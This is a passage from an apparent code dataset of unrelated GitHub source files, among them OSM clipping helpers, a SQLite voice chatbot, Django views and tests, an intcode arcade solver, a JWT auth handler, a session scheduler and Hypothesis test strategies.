the output file, based on the NUTS_ID\n nuts_id = f['NUTS_ID']\n\n # start writing the .poly file\n f = open(out_path + \"/\" + nuts_id +'.poly', 'w')\n f.write(nuts_id + \"\\n\")\n\n i = 0\n\n # loop over the different polygons, get their exterior and write the \n # coordinates of the ring to the .poly file\n for polygon in polygons:\n\n polygon = np.array(polygon.exterior)\n\n j = 0\n f.write(str(i) + \"\\n\")\n\n for ring in polygon:\n j = j + 1\n f.write(\" \" + str(ring[0]) + \" \" + str(ring[1]) +\"\\n\")\n\n i = i + 1\n # close the ring of one subpolygon if done\n f.write(\"END\" +\"\\n\")\n\n # close the file when done\n f.write(\"END\" +\"\\n\")\n f.close()\n except Exception as e:\n print(\"Exception {} for {}\" .format(e,f['NUTS_ID'])) \n \ndef clip_osm_multi(dirs): #called from the Preproc_split_OSM file\n \"\"\" Clip the an area osm file from the larger continent (or planet) file and save to a new osm.pbf file. \n This is much faster compared to clipping the osm.pbf file while extracting through ogr2ogr.\n \n This function uses the osmconvert tool, which can be found at http://wiki.openstreetmap.org/wiki/Osmconvert. \n \n Either add the directory where this executable is located to your environmental variables or just put it in the 'scripts' directory.\n \n Arguments (stored in a list to enable multiprocessing):\n *dirs[0] = osm_convert_path* (string): path to the osm_convert executable\n *dirs[1] = planet_path* (string): path to the .planet file\n *dirs[2] = area_poly* (string): path to the .poly file, made by create_poly_files_europe()\n *dirs[3] = area_pbf* (string): output directory\n \n Returns:\n *region.osm.pbf* (os.pbf file) : the clipped (output) osm.pbf file\n \"\"\" \n \n osm_convert_path = dirs[0]\n planet_path = dirs[1]\n area_poly = dirs[2]\n area_pbf = dirs[3]\n \n print('{} started!'.format(area_pbf))\n logging.info('{} started!'.format(area_pbf))\n \n try: \n if (os.path.exists(area_pbf) is not True):\n os.system('{} {} -B={} --complete-ways --hash-memory=500 -o={}'.format(osm_convert_path,planet_path,area_poly,area_pbf))\n print('{} finished!'.format(area_pbf))\n logging.info('{} finished!'.format(area_pbf))\n else:\n print('{} already exists'.format(area_pbf))\n logging.info('{} already exists'.format(area_pbf))\n\n except Exception as e:\n logging.error('{} did not finish because of {}'.format(area_pbf,str(e)))","repo_name":"keesvanginkel/OSdaMage","sub_path":"preproc_functions.py","file_name":"preproc_functions.py","file_ext":"py","file_size_in_byte":4859,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"32631312966","text":"import re\r\nimport sqlite3\r\nfrom collections import Counter\r\nfrom string import punctuation\r\nfrom math import sqrt\r\nimport os\r\nfrom gtts import gTTS\r\n\r\ncounter=1\r\n\r\nconnection = sqlite3.connect('chatbot.sqlite')\r\ncursor = connection.cursor()\r\n \r\ntry:\r\n cursor.execute('''\r\n CREATE TABLE words (\r\n word TEXT UNIQUE\r\n )\r\n ''')\r\n cursor.execute('''\r\n CREATE TABLE sentences (\r\n sentence TEXT UNIQUE,\r\n used INT NOT NULL DEFAULT 0\r\n )''')\r\n cursor.execute('''\r\n CREATE TABLE associations (\r\n word_id INT NOT NULL,\r\n sentence_id INT NOT NULL,\r\n weight REAL NOT NULL)\r\n ''')\r\nexcept:\r\n pass\r\n \r\ndef get_id(entityName, text):\r\n \"\"\"Retrieve an entity's unique ID from the database, given its associated text.\r\n If the row is not already present, it is inserted.\r\n The entity can either be a sentence or a word.\"\"\"\r\n tableName = entityName + 's'\r\n columnName = entityName\r\n cursor.execute('SELECT rowid FROM ' + tableName + ' WHERE ' + columnName + ' = ?', (text,))\r\n row = cursor.fetchone()\r\n if row:\r\n return row[0]\r\n else:\r\n cursor.execute('INSERT INTO ' + tableName + ' (' + columnName + ') VALUES (?)', (text,))\r\n return cursor.lastrowid\r\n\r\n\r\ndef makeMP3(words,mp3name,language=\"en\"):\r\n tts=gTTS(text=words,lang=language)\r\n tts.save(\"%s.wav\" %mp3name)\r\n print(\"File %s.wav \" % mp3name) \r\ndef get_words(text):\r\n \"\"\"Retrieve the words present in a given string of text.\r\n The return value is a list of tuples where the first member is a lowercase word,\r\n and the second member the number of time it is present in the text.\"\"\"\r\n wordsRegexpString = '(?:\\w+|[' + re.escape(punctuation) + ']+)'\r\n wordsRegexp = re.compile(wordsRegexpString)\r\n wordsList = wordsRegexp.findall(text.lower())\r\n return Counter(wordsList).items()\r\n \r\n \r\nB = 'Hello!'\r\nwhile True:\r\n abc=\"english\"+str(counter)\r\n\r\n makeMP3(B,abc)\r\n os.popen('C:\\\\Users\\MY DELL\\Desktop\\\\ai-final-project-master\\\\ai-final-project-master\\stanford_parser\\\\%s.wav ' % abc)\r\n counter+=1 \r\n\r\n \r\n print('B: ' + B)\r\n H = input('H: ').strip()\r\n if H == '':\r\n break\r\n words = get_words(B)\r\n words_length = sum([n * len(word) for word, n in words])\r\n sentence_id = get_id('sentence', H)\r\n for word, n in words:\r\n word_id = get_id('word', word)\r\n weight = sqrt(n / float(words_length))\r\n cursor.execute('INSERT INTO associations VALUES (?, ?, ?)', (word_id, sentence_id, weight))\r\n connection.commit()\r\n cursor.execute('CREATE TEMPORARY TABLE results(sentence_id INT, sentence TEXT, weight REAL)')\r\n words = get_words(H)\r\n words_length = sum([n * len(word) for word, n in words])\r\n for word, n in words:\r\n weight = sqrt(n / float(words_length))\r\n cursor.execute('INSERT INTO results SELECT associations.sentence_id, sentences.sentence, ?*associations.weight/(4+sentences.used) FROM words INNER JOIN associations ON associations.word_id=words.rowid INNER JOIN sentences ON sentences.rowid=associations.sentence_id WHERE words.word=?', (weight, word,))\r\n\r\n cursor.execute('SELECT sentence_id, sentence, SUM(weight) AS sum_weight FROM results GROUP BY sentence_id ORDER BY sum_weight DESC LIMIT 1')\r\n row = cursor.fetchone()\r\n cursor.execute('DROP TABLE results')\r\n if row is None:\r\n cursor.execute('SELECT rowid, sentence FROM sentences WHERE used = (SELECT MIN(used) FROM sentences) ORDER BY RANDOM() LIMIT 1')\r\n row = cursor.fetchone()\r\n B = row[1]\r\n cursor.execute('UPDATE sentences SET used=used+1 WHERE rowid=?', (row[0],))\r\n","repo_name":"parasupreti/Voice-ChatBot","sub_path":"new3.py","file_name":"new3.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34272568047","text":"\"\"\"Fixtures and config items for testing this module.\"\"\"\n\nimport pytest\n\n\nclass Recipe:\n def __init__(\n self, _id, name, prep_time, cook_time, servings, ingredients, directions, notes\n ):\n self.id = _id\n self.name = name\n self.prep_time = prep_time\n self.cook_time = cook_time\n self.servings = servings\n self.ingredients = ingredients\n self.directions = directions\n self.notes = notes\n\n\n@pytest.fixture(scope=\"function\")\ndef get_recipe():\n r1 = Recipe(\n _id=1,\n name=\"test1\",\n prep_time=5,\n cook_time=10,\n servings=4,\n ingredients=[\n \"garlic, 1 clove minced\",\n \"onion, 1 whole chopped\"\n ],\n directions=[\"step1\", \"step2\"],\n notes=[\"some notes\"],\n )\n\n r2 = Recipe(\n _id=2,\n name=\"test2\",\n prep_time=5,\n cook_time=10,\n servings=4,\n ingredients=[\n \"garlic, 1 clove minced\",\n \"onion, 1 whole chopped\"\n ],\n directions=[\"step1\", \"step2\"],\n notes=[\"some notes\"],\n )\n\n yield [r1, r2]\n","repo_name":"trp07/PyRecipe","sub_path":"tests/services/export/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"38476782426","text":"from const import *\nfrom django.shortcuts import render\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom team.models import Team,Player,OtherMember\nfrom common.views import getTeams\nfrom team.form import TeamAddForm,PlayerAddForm,MemberAddForm\nfrom datetime import date\n\n\ndef teamView(request):\n teams = getTeams(request)\n form = TeamAddForm()\n context={\n 'form':form,\n \"team_list\":teams\n }\n return render(request,\"team/teamhome.html\",context)\n\ndef teamManageView(request,teamId):\n form = PlayerAddForm()\n member_form = MemberAddForm()\n team = Team.objects.get(id=teamId)\n play_list = team.player_set.all()\n member_list = team.othermember_set.all()\n context={\n \"form\":form,\n \"member_form\":member_form,\n \"team\":team,\n \"player_list\":play_list,\n \"member_list\":member_list,\n }\n return render(request,\"team/team_manage.html\",context)\n","repo_name":"RosenX/FootballEventSys","sub_path":"team/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43143095840","text":"class Solution:\n def numberOfArrays(self, diff: List[int], lb: int, ub: int) -> int:\n # let start point be x\n #keep x relative to 0 : x = x - x\n cur = 0\n arr = [cur]\n \n for i in diff:\n cur = cur + i\n arr.append(cur)\n \n \n mi = 100000000000\n ma = -100000000000\n \n \n '''\n now we got our original array , with 0 as starting element [ 0 , a, b, c, d ..]\n wrt original possible starting index arr would be [ x , x+a , x+b, x + c...]\n so now every element should be within range [lb, ub]\n lb <= x + alpha <= ub , [ alpha is known]\n x >= lb-alpha , max opssible x we can get from here for all arr[i]\n x <= ub-alpha , min possible x we can get from here for all arr[i]\n \n So count of possible starting element will be from (max - min + 1)\n \n '''\n for i in range(len(arr)):\n ma = max(ma , lb- arr[i])\n mi = min(mi , ub - arr[i])\n if ma>mi:\n return 0\n else:\n return mi - ma + 1","repo_name":"hardik302001/leetcode","sub_path":"problems/count_the_hidden_sequences/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"12726493878","text":"import numpy as np\nfrom pathlib import Path\nimport common_dependencies.intcode as intcode\nfrom enum import Enum\n\nclass Vector():\n # basic vector class\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def __add__(self, other):\n return Vector(self.x + other.x, self.y + other.y)\n\n def __sub__(self, other):\n return Vector(self.x - other.x, self.y - other.y)\n\n def __abs__(self):\n return np.sqrt(self.x ** 2 + self.y ** 2)\n\n def __str__(self):\n return \"<{},{}>\".format(self.x, self.y)\n\n @property\n def arr(self):\n return np.array((self.x, self.y))\n\n\nclass Tile():\n display_dict = {\n 0: \" \",\n 1: \"#\",\n 2: \"B\",\n 3: \"=\",\n 4: \"O\"\n }\n\n def __init__(self, x, y, type):\n self.x = x\n self.y = y\n self.type = type\n\n @property\n def ascii(self):\n return self.display_dict[self.type]\n\n\nclass ArcadeCabinet(intcode.IntcodeComputer):\n # arcade cabinet is a child of Intcode computer but has a screen\n def __init__(self, memory=np.array(()), verbose=False):\n self._verbose = verbose\n self._h_lines = 0 # horizontal scan size of the display\n self._v_lines = 0 # Vertical scan size\n self._score = 0 # score of the user\n self._screen_buffer = []\n self._screen = None\n\n self._ball_position = Vector(0, 0) # position of the ball\n self._ball_velocity = Vector(0, 0) # velocity of the ball\n self._paddle_position = Vector(0, 0) # where the paddle is\n super().__init__(memory,verbose) # initialize the computer core\n\n def update(self):\n self.resume() # advance the computer until it's done running\n self._screen_buffer = []\n for packet in np.array(self.flush_output()).reshape((-1, 3)): # load the screen buffer with the computer output\n if packet[0] == -1: # if we got the score output\n self._score = packet[2]\n else:\n if packet[2] == 4: # if this is the ball coordinate\n self._ball_velocity = Vector(*packet[:2]) - self._ball_position # update the ball velocity\n self._ball_position = Vector(*packet[:2]) # update the ball position\n elif packet[2] == 3: # if this is the paddle\n self._paddle_position = Vector(*packet[:2])\n self._screen_buffer.append(Tile(*packet))\n #update the screen\n self.update_screen()\n if self._verbose:\n self.print_summary()\n\n def update_screen(self):\n if self._h_lines == 0 or self._v_lines == 0:\n # If we don't know the dimensions of the screen yet, draw it\n self._h_lines = np.max([tile.x for tile in self._screen_buffer]) + 1\n self._v_lines = np.max([tile.y for tile in self._screen_buffer]) + 1\n self._screen=np.full((self._v_lines,self._h_lines),\" \") # initialize the screen\n for tile in self._screen_buffer:\n self._screen[tile.y,tile.x]=tile.ascii\n\n def draw_screen(self):\n display=\"\"\n for row in self._screen:\n display += \"\".join([character for character in row]) + '\\n'\n print(\"Score: {}\".format(self._score))\n print(display)\n\n def print_summary(self):\n print(\"Score {}\".format(self._score))\n print(\"Ball Position {}\".format(self._ball_position))\n print(\"Ball Velocity {}\".format(self._ball_velocity))\n print(\"Paddle Position {}\".format(self._paddle_position))\n\n @property\n def score(self):\n return self._score\n\n @property\n def screen_buffer(self):\n return self._screen_buffer\n\n @property\n def ball_position(self):\n return self._ball_position\n\n @property\n def ball_velocity(self):\n return self._ball_velocity\n\n @property\n def paddle_position(self):\n return self._paddle_position\n\n\ndef puzzle_part_a(cabinet):\n cabinet.reset() # reset the computer\n cabinet.update() # resume operation\n n_blocks = np.count_nonzero(np.array([tile.type for tile in cabinet.screen_buffer]) == 2)\n print(\"There are {} blocks in the screen buffer\".format(n_blocks))\n\n\ndef puzzle_part_b(cabinet):\n print(\"Running Part B\")\n cabinet.reset() # reset the computer\n total_steps=0\n while not cabinet.program_finished:\n cabinet.update()\n total_steps+=1\n paddle_distance=(cabinet.ball_position-cabinet.paddle_position).x\n ball_direction=cabinet.ball_velocity.x\n joystick_input=0\n if paddle_distance!=0 and ball_direction!=0: #if we are not directly under the paddle and the ball is moving, move towards it\n joystick_input=np.sign(paddle_distance)\n else:\n #if we're under the ball move in the same direction as it\n joystick_input=ball_direction\n cabinet.input(joystick_input) # don't do anything with the joystick\n #cabinet.print_summary()\n #cabinet.draw_screen()\n print(total_steps)\n cabinet.draw_screen()\n\n\ndef main():\n puzzle_input_path = Path(\"puzzle_inputs\") / \"day13_input.txt\"\n int_code = np.loadtxt(puzzle_input_path, delimiter=\",\")\n int_code[0] = 2 # put in two quarters to play the game\n cabinet = ArcadeCabinet(int_code, verbose=False)\n puzzle_part_a(cabinet)\n puzzle_part_b(cabinet)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rfrazier716/advent_of_code_2019","sub_path":"advent_of_code/day13.py","file_name":"day13.py","file_ext":"py","file_size_in_byte":5420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7116950665","text":"from politician.constants import Endpoints\n\nfrom .cases import PoliticianTestCase\n\n\nclass GetPolitician(PoliticianTestCase):\n url = Endpoints.GET_POLITICIAN\n\n def setUp(self):\n self.user = self.add_user()\n\n def test_get_politician_returns_200(self):\n politician = self.add_politician()\n self.url = self.url.format(id=politician.id)\n\n response = self.get()\n self.assertEqual(response.status_code, 200)\n\n def test_get_politician_returns_404_if_politician_does_NOT_exist(self):\n self.url = self.url.format(id=self.user.id)\n\n response = self.get()\n self.assertEqual(response.status_code, 404)\n\n\nclass GetPoliticianList(PoliticianTestCase):\n url = Endpoints.GET_POLITICIAN_LIST\n\n def setUp(self):\n self.user = self.add_user()\n\n\nclass PatchPolitician(PoliticianTestCase):\n url = Endpoints.PATCH_POLITICIAN\n\n def setUp(self):\n self.user = self.add_user()\n\n self.input_schema = {\n 'description': self.fake.text(),\n 'name': self.fake.name(),\n 'organization': self.fake.name(),\n 'profile_image': self.fake.image_url(),\n 'reference': self.fake.image_url(),\n }\n\n def test_patch_politician_returns_200(self):\n politician = self.add_politician()\n self.url = self.url.format(id=politician.id)\n\n response = self.patch(input_schema=self.input_schema, headers=self.headers)\n self.assertEqual(response.status_code, 200)\n\n\nclass PostAddPolitician(PoliticianTestCase):\n url = Endpoints.POST_ADD_POLICIAN\n\n def setUp(self):\n self.user = self.add_user()\n self.input_schema = {\n 'description': self.fake.text(),\n 'name': self.fake.name(),\n 'organization': self.fake.name(),\n 'profile_image': self.fake.image_url(),\n 'reference': self.fake.image_url(),\n }\n\n def test_add_politician_returns_201(self):\n response = self.post(input_schema=self.input_schema, headers=self.headers)\n self.assertEqual(response.status_code, 201)\n","repo_name":"SANTIAGOBCF/BackendMemorex","sub_path":"politician/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72831479874","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom experimental_data import total_Re, total_strouhal, KL_total\nimport matplotlib\nimport pickle\n\nwith open('model_data_psi_0.pkl', 'rb') as handle:\n dict_model_data = pickle.load(handle)\n\nw, h = plt.figaspect(1.55)\nfig, ax = plt.subplots(figsize=(w, h))\nmatplotlib.rcParams.update({'font.size': 12})\n\nplt.plot(dict_model_data[\"KL\"], -dict_model_data[\"Re\"], '*', markersize='10', label=\"model $\\psi = 0$\", color='blue')\nplt.plot(KL_total, -total_Re, '*', markersize='10', label=\"experiments $\\psi = 0$\", color='red')\n# plt.grid()\nplt.ylim([-14000, 0])\nplt.xlabel('KL')\n#\nax.yaxis.set_label_position('right')\nax.yaxis.set_ticks_position('right')\nax.tick_params(labelleft='off', labelright='on')\n#\n# ax.spines['bottom'].set_visible(False)\nax.spines['top'].set_visible(False)\nax.spines['left'].set_visible(False)\n#\nplt.legend(loc='lower right', frameon=False)\n#\nplt.xlim([0.2, 4.3])\n# plt.savefig('Figures/illustration_model_psi_0.pdf', bbox_inches='tight')\nplt.savefig('Figures/Re_0.pdf')\n\nplt.figure()\n# do not trust the first points for the St value\nnbr_untrusted_points = 5\nplt.errorbar(KL_total[nbr_untrusted_points:], total_strouhal[nbr_untrusted_points:], yerr=0.15, label=\"experiments $\\psi = 0$\", marker=\"*\", markersize=10, linestyle=\"\")\nplt.plot(dict_model_data[\"KL\"], dict_model_data[\"St\"], label=\"model $\\psi = 0$\")\nplt.ylim([0, 0.9])\nplt.legend()\n\nplt.savefig('Figures/St_0.pdf')\n\nplt.show()\n","repo_name":"jerabaul29/EffectFoldAngleAutorotatingSeeds","sub_path":"model/curves_psi_0.py","file_name":"curves_psi_0.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2028051771","text":"from hendrix import __version__\nimport errno\nimport os\nimport sys\nfrom setuptools import setup, find_packages\n\n\ndef file_name(rel_path):\n dir_path = os.path.dirname(__file__)\n return os.path.join(dir_path, rel_path)\n\n\ndef read(rel_path):\n with open(file_name(rel_path)) as f:\n return f.read()\n\n\ndef readlines(rel_path):\n with open(file_name(rel_path)) as f:\n ret = f.readlines()\n return ret\n\n\ndef mkdir_p(path):\n \"recreate mkdir -p functionality\"\n try:\n os.makedirs(path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else:\n raise\n\nshare_path = os.path.join(\n os.path.dirname(sys.executable),\n 'share/hendrix'\n)\n\nmkdir_p(share_path)\n\nsetup(\n author=\"hangarunderground\",\n author_email=\"hendrix@reelio.com\",\n name=\"hendrix\",\n packages=find_packages(),\n version=__version__,\n url=\"https://github.com/hangarunderground/hendrix\",\n download_url=(\n \"https://github.com/hangarunderground/hendrix/tarball/\"\n \"v\"+__version__+\"-beta\"\n ),\n description=\"A deployment module for Django that uses Twisted.\",\n long_description=read('docs/index.md'),\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: POSIX',\n 'Programming Language :: Python',\n 'Topic :: Internet :: WWW/HTTP',\n ],\n keywords=[\"django\", \"twisted\", \"async\", \"logging\"],\n scripts=[\n 'hendrix/utils/scripts/hx',\n 'hendrix/utils/scripts/install-hendrix-service'\n ],\n data_files=[\n (share_path, ['hendrix/utils/templates/init.d.j2', ]),\n ],\n install_requires=readlines('requirements'),\n extras_require={'ssl': ['pyopenssl', ]}\n)\n","repo_name":"eleddy/hendrix","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"6199650033","text":"import fastapi.security\nimport jwt\nfrom fastapi import HTTPException\n\nfrom jwt import ExpiredSignatureError\nfrom passlib.context import CryptContext\n\nimport settings\nfrom DTO.user import User as UserDTO\nfrom services import user as UserServices\n\n\nclass AuthHandler():\n def get_token(self, user: UserDTO):\n\n data = {\"sub\": user.telegram_id, \"isAdmin\": user.isAdmin}\n\n encoded_jwt = jwt.encode(data, settings.SECRET_KEY, algorithm=settings.ALGORITHM)\n\n return encoded_jwt\n\n def decode_token(self, token: str, db):\n try:\n payload = jwt.decode(token, settings.SECRET_KEY, algorithms=settings.ALGORITHM)\n\n return payload\n\n except Exception as e:\n raise HTTPException(status_code=400, detail=\"Invalid access token\")\n\n def authentificate_admin(self, access_token, db):\n payload = self.decode_token(access_token, db)\n\n tg_id = payload.get(\"sub\")\n isAdmin = payload.get(\"isAdmin\")\n\n user = UserServices.get_user(tg_id, db)\n\n if not user or not user.isAdmin or user.isAdmin != isAdmin:\n raise HTTPException(status_code=403, detail=\"You do not have access\")\n\n return user\n\n def authentificate_user(self, access_token, db):\n\n payload = self.decode_token(access_token, db)\n\n tg_id = payload.get(\"sub\")\n print(tg_id)\n isAdmin = payload.get(\"isAdmin\")\n\n user = UserServices.get_user(tg_id, db)\n\n if user is None:\n raise HTTPException(status_code=403, detail=\"You do not have access\")\n\n return user\n\n def get_apikeyHeader(self, autoerror=True):\n return fastapi.security.APIKeyHeader(name=\"Authorization\", auto_error=autoerror)\n","repo_name":"Amir23714/Dino_game_api","sub_path":"Authentification/authentification.py","file_name":"authentification.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70348608194","text":"from typing import Union, Optional, Dict, List, Any, Callable, NamedTuple\nfrom dataclasses import dataclass\nfrom numpy import ndarray\nfrom copy import copy, deepcopy\nfrom galang.types import (Expr, Ref, Ap, Val, Const, Lam, Intrin, MethodName,\n TMap, Tuple, Let, IExpr, Lib, IMem, IVal, ILam)\n\n\nimport numpy as np\n\ndef interp(expr:Expr, lib:Lib, m:IMem)->Tuple[IExpr,IMem]:\n if isinstance(expr, Val):\n if isinstance(expr.val, Ref):\n return (m[expr.val],m)\n elif isinstance(expr.val, Const):\n return (IVal(expr.val.const), m)\n else:\n raise ValueError(f\"Invalid value {expr}\")\n elif isinstance(expr, Let):\n val,m2 = interp(expr.expr, lib, m)\n return interp(expr.body, lib, m2.set(expr.ref,val))\n elif isinstance(expr, Ap):\n func,m2 = interp(expr.func, lib, m)\n arg,m3 = interp(expr.arg, lib, m2)\n if isinstance(func, ILam):\n return interp(func.body, lib, m3.set(Ref(func.name),arg))\n else:\n raise ValueError(f\"Invalid callable {func}\")\n elif isinstance(expr, Lam):\n return (ILam(expr.name, expr.body),m)\n elif isinstance(expr, Intrin):\n libentry = lib[expr.name]\n iargs = {}\n for aname,aexpr in expr.args.items():\n a,_ = interp(aexpr, lib, m)\n iargs.update({aname: a})\n return (libentry.impl(iargs), m)\n else:\n raise ValueError(f\"Invalid expression {expr}\")\n\n\n","repo_name":"grwlf/galaxy-lang","sub_path":"src/galang/interp.py","file_name":"interp.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25136983593","text":"from server.scheduler.scheduler import Student, schedule\n\n\ndef get_times_and_caps(sessions):\n time_to_cap = {}\n \n # convert each session to its component time blocks, then\n # merge any overlap by adding the capacities together\n for session in sessions:\n session_times = session.timeblock.to_start_times()\n for time in session_times:\n if time in time_to_cap.keys():\n # already have this block, so just add the times together\n time_to_cap[time] += session.max_students\n else:\n # don't have this block, so insert the time\n time_to_cap[time] = session.max_students\n \n # convert the dictionary to two parallel lists for ease of use in the scheduler\n return list(time_to_cap.keys()), list(time_to_cap.values())\n \n \ndef time_to_interval_index(time, intervals):\n # precondition: selected times are in the available intervals\n for i, interval in enumerate(intervals):\n if time == interval.start_time:\n # found the index\n return i\n\n# return list of objects where each object contains the id and the scheduled time\n\n# class TimeBlock:\n# def __init__(self, start: datetime, end: datetime, interval_m:int):\n# self.start = start\n# self.end = end\n# self.td_interval = timedelta(minutes=interval_m)\n#\n# def to_start_times(self):\n# output = []\n# for i in range(0, (self.end - self.start)//self.td_interval):\n# output.append(self.start + self.td_interval * i)\n# return output\n#\n# @staticmethod\n# def list_from_sorted_starts(start_times: list[datetime], interval_m: int):\n# output: list[TimeBlock] = []\n# cur = 0\n# for start_time in start_times[1::]:\n# if start_time - output[cur].end > timedelta(minutes=interval_m):\n# output += TimeBlock(start_time, start_time + timedelta(minutes=interval_m), interval_m)\n# else:\n# output[cur].end = start_time + timedelta(minutes=interval_m)\n# return output\n\n\n\n# class Session:\n# def __init__(self, timeblock, ca_uuid, max_students):\n# self.timeblock: TimeBlock = timeblock\n# self.uuid: str = ca_uuid\n# self.max_students = max_students\n#\n# class Selection:\n# def __init__(self, timeblocks, student_uuid):\n# self.timeblocks: list[TimeBlock] = timeblocks\n# self.uuid: str = student_uuid\n\n# return list of:\n# class Schedule:\n# def __init__(self, timeblock, student_uuid):\n# self.start_time: time\n# self.uuid: str = student_uuid\n\ndef schedule_students(sessions, selections):\n # sessions is a list of Session model objects\n # selections is a list of the class above\n \n times, caps = get_times_and_caps(sessions)\n \n # convert the student types\n students = []\n \n # compute the indices of the corresponding time blocks\n for selection in selections:\n # list of list of contiguous time intervals\n selected_times = []\n for t in selection.timeblocks:\n selected_times += t.to_start_times()\n\n print(selected_times)\n print(times)\n inds = [times.index(t) for t in selected_times]\n students.append(Student(selection.student_uuid, inds))\n \n return schedule(students, times, caps)\n","repo_name":"rbiz4/HopHacks","sub_path":"backend/server/scheduler/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13340284563","text":"import json\nimport math\nimport os\ndef returnmsg(code,message,elsemsg=\"\"):\n '''\n :param code: 0代表成功\n :param message: 返回的信息\n :param elsemsg: 其他信息\n :return:\n '''\n dic = {\n 'code': code,\n 'message': message,\n \"elsemsg\":elsemsg\n }\n data = dic\n return data\n# 文件单位的函数\ndef getsize(size, format = 'kb'):\n p = 0\n if format == 'kb':\n p = 1\n elif format == 'mb':\n p = 2\n elif format == 'gb':\n p = 3\n size /= math.pow(1024, p)\n return \"%0.2f\"%size\ndef creatdir(dir):\n getaddress=os.path.join(os.getcwd(),dir)\n if os.path.exists(getaddress): #判断文件 / 文件夹是否存在\n pass\n else:\n dirall=dir.split(\"/\")\n for item,name in enumerate(dirall):\n makedir = os.path.join(os.getcwd(), name)\n # 如果不存在然后添加\n if not os.path.exists(makedir):\n os.mkdir(makedir)\n if item pages:\n endnum = pages\n startnum = endnum - (everypagecount - 1)\n if startnum < 1:\n startnum = 1\n endnum = startnum + everypagecount - 1\n if endnum >= pages:\n endnum = pages\n return{\n \"startnum\":startnum,\n \"endnum\":endnum+1\n }","repo_name":"wuyang1234567/LH","sub_path":"moudles/getdata.py","file_name":"getdata.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21864964436","text":"from hypothesis.strategies import booleans, integers\nfrom hypothesis.strategies import composite, just, lists, one_of\n\nfrom .util import to_ascii\n\nfrom custom.label.numbers import label\nfrom custom.verify.numbers import verify\n\ndef build_num_str(item):\n return item[\"inputs\"]\n\n@composite\ndef hex_number_items(draw,\n label=label,\n verify=verify):\n #\n sign = draw(one_of(just(\"\"), just(\"+\"), just(\"-\")))\n #\n x_or_X = draw(one_of(just(\"X\"), just(\"x\")))\n # XXX: too many digits is a problem\n n = draw(integers(min_value=1, max_value=20))\n pre_digits = draw(lists(elements=integers(min_value=0,\n max_value=15),\n min_size=n, max_size=n))\n caps = draw(lists(elements=booleans(),\n min_size=n, max_size=n))\n digits = map(to_ascii, pre_digits, caps)\n #\n end_n = draw(one_of(just(\"\"), just(\"N\")))\n #\n num_str = f'{sign}0{x_or_X}{\"\".join(digits)}{end_n}'\n #\n return {\"inputs\": num_str,\n \"label\": label,\n \"to_str\": build_num_str,\n \"verify\": verify}\n\n@composite\ndef octal_number_items(draw,\n label=label,\n verify=verify):\n #\n sign = draw(one_of(just(\"\"), just(\"+\"), just(\"-\")))\n # XXX: too many digits is a problem\n n = draw(integers(min_value=1, max_value=20))\n pre_digits = draw(lists(elements=integers(min_value=0,\n max_value=7),\n min_size=n, max_size=n))\n digits = map(lambda d: chr(d + 48), pre_digits)\n #\n m_or_n = draw(one_of(just(\"\"), just(\"M\"), just(\"N\")))\n #\n num_str = f'{sign}0{\"\".join(digits)}{m_or_n}'\n #\n return {\"inputs\": num_str,\n \"label\": label,\n \"to_str\": build_num_str,\n \"verify\": verify}\n\n@composite\ndef radix_number_items(draw,\n label=label,\n verify=verify):\n #\n sign = draw(one_of(just(\"\"), just(\"+\"), just(\"-\")))\n #\n radix = draw(integers(min_value=2, max_value=36))\n #\n r_or_R = draw(one_of(just(\"R\"), just(\"r\")))\n # XXX: too many digits is a problem\n n = draw(integers(min_value=1, max_value=20))\n pre_digits = draw(lists(elements=integers(min_value=0,\n max_value=radix - 1),\n min_size=n, max_size=n))\n caps = draw(lists(elements=booleans(),\n min_size=n, max_size=n))\n digits = map(to_ascii, pre_digits, caps)\n #\n num_str = f'{sign}{radix}{r_or_R}{\"\".join(digits)}'\n #\n return {\"inputs\": num_str,\n \"label\": label,\n \"to_str\": build_num_str,\n \"verify\": verify}\n\n@composite\ndef ratio_items(draw,\n label=label,\n verify=verify):\n #\n sign = draw(one_of(just(\"\"), just(\"+\"), just(\"-\")))\n #\n p = draw(integers(min_value=0))\n q = draw(integers(min_value=1))\n #\n num_str = f'{sign}{p}/{q}'\n #\n return {\"inputs\": num_str,\n 